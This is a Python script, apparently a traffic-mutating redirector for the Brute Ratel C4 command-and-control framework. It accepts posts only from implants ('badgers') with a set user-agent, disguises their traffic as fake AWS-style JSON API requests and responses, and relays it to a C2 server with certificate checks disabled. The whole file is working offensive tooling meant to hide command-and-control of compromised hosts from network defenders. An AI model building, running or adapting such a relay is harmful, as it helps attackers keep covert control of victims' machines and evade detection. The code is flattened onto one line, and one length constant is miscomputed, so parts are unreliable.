#!/usr/bin/python3 import threading import argparse from datetime import datetime from http.server import HTTPServer, BaseHTTPRequestHandler import ssl import sys import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) import logging DEBUG_LOGS = False BRC4_LISTENER_URL = "" BRC4_USERAGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36" PostRequestPrepend = "{\n \"Action\": \"CreateResource\",\n \"Service\": \"ExampleService\",\n \"Version\": \"2019-09-01\",\n \"Region\": \"us-east-1\",\n \"Timestamp\": \"2023-09-04T12:00:00Z\",\n \"Credentials\": {\n \"AccessKeyId\": \"YOUR_ACCESS_KEY_ID\",\n \"SecretAccessKey\": \"" PostRequestPrependLength = len(PostRequestPrepend) PostRequestAppend = "\"\n },\n \"RequestParameters\": {\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}" PostRequestAppendLength = len(PostRequestAppend) PostResponsePrepend = "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \"" PostResponsePrependLength = len(PostResponsePrepend) PostResponseAppend = "\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}" PostResponseAppendLength = len(PostResponseAppend) PostEmptyResponse = "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \"12345678-1234-5678-1234-567812345678\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}\n" PostEmptyResponseLength = (PostEmptyResponse) logging.basicConfig( format='%(asctime)s - %(levelname)s - %(message)s', level=logging.INFO, # Set log level to DEBUG datefmt='%Y-%m-%d %H:%M:%S' # Specify the date and time format ) def ModifyPostRequest(postData): postData = postData[PostRequestPrependLength:-PostRequestAppendLength] postData = postData.replace("$", "") postData = PostRequestPrepend + postData + PostRequestAppend if not DEBUG_LOGS: print(".") return postData def ModifyPostResponse(postResponse): if (postResponse != PostEmptyResponse): postResponse = postResponse[PostResponsePrependLength:-PostResponseAppendLength] part_size = 5 if part_size <= 0 or part_size > len(postResponse): return postResponse parts = [postResponse[i:i + part_size] for i in range(0, len(postResponse), part_size)] postResponse = "$".join(parts) postResponse = PostResponsePrepend + postResponse + PostResponseAppend return postResponse class Stager(BaseHTTPRequestHandler): def _set_headers(self): self.send_response(200) self.send_header("Content-type", "application/json") self.end_headers() def _html(self, message): content = f"{message}" return content.encode("utf8") def do_GET(self): self._set_headers() self.wfile.write(self._html("404 Not Found")) currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S") logging.info("[" + currtime + "] GET request from " + self.address_string()) for x, y in self.headers.items(): print(" - ", x, ": ", y ) print("------------------------------------------------------------") def do_HEAD(self): self._set_headers() self.wfile.write(self._html("404 Not Found")) currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S") logging.info("[" + currtime + "] HEAD request from " + self.address_string()) for x, y in self.headers.items(): print(" - ", x, ": ", y ) print("------------------------------------------------------------") def do_POST(self): # verifying that useragent matches if (self.headers["User-Agent"] == BRC4_USERAGENT): try: global DEBUG_LOGS postRequest = ((self.rfile.read(int(self.headers['content-length']))).decode('utf-8')) if DEBUG_LOGS: datalen = len(postRequest) logging.info(f"Received from badger: {datalen} bytes (START)") postRequest = ModifyPostRequest(postRequest) headers = { "Content-Type": "application/json", "User-Agent": BRC4_USERAGENT, } if DEBUG_LOGS: datalen = len(postRequest) logging.info(f"Sent to BRc4 server: {datalen} bytes") response = requests.post(BRC4_LISTENER_URL, postRequest, headers=headers, verify=False) if DEBUG_LOGS: datalen = len(response.text) logging.info(f"Received from BRc4 server: {datalen} bytes") postResponse = ModifyPostResponse(response.text) if DEBUG_LOGS: datalen = len(postResponse) logging.info(f"Sent to badger: {datalen} bytes (END)") self._set_headers() self.wfile.write(postResponse.encode("utf-8")) except Exception as ex: logging.info("[-] Exception: ", ex) def log_message(self, format, *args): return def main(): parser = argparse.ArgumentParser(description='BRc4 HTTP Mutating Server Example 0.1') parser.add_argument('-c', '--cert', type=str, required=True, help="certificate file") parser.add_argument('-k', '--key', type=str, required=True, help="certificate key") parser.add_argument('-f', '--forward', type=str, required=True, help="BRc4 server to forward. Eg.: '172.16.219.1:10443'") parser.add_argument('-l', '--listener', type=str, required=True, help="Listener host and port. Eg.: '172.16.219.1:443'") parser.add_argument('-u', '--url', type=str, required=True, help="BRc4 URL to forward") parser.add_argument('-d', '--debug', action='store_true', required=False, help="Enable debug logs") args = parser.parse_args() listenerHost = args.listener.split(":")[0] listenerPort = args.listener.split(":")[1] if not args.url.startswith("/"): args.url = "/" + args.url global BRC4_LISTENER_URL global DEBUG_LOGS BRC4_LISTENER_URL = "https://" + args.forward + args.url logging.info(f"External C2 Server: '{args.listener}' => '{BRC4_LISTENER_URL}'") logging.info(f"Useragent: '{BRC4_USERAGENT}'") if args.debug: logging.info(f"Debug logs enabled") DEBUG_LOGS = True server = HTTPServer((listenerHost, int(listenerPort)), Stager) server.socket = ssl.wrap_socket(server.socket, certfile=args.cert, keyfile=args.key, server_side=True) thread = threading.Thread(None, server.serve_forever) thread.daemon = True thread.start() thread.join() if __name__ == "__main__": main()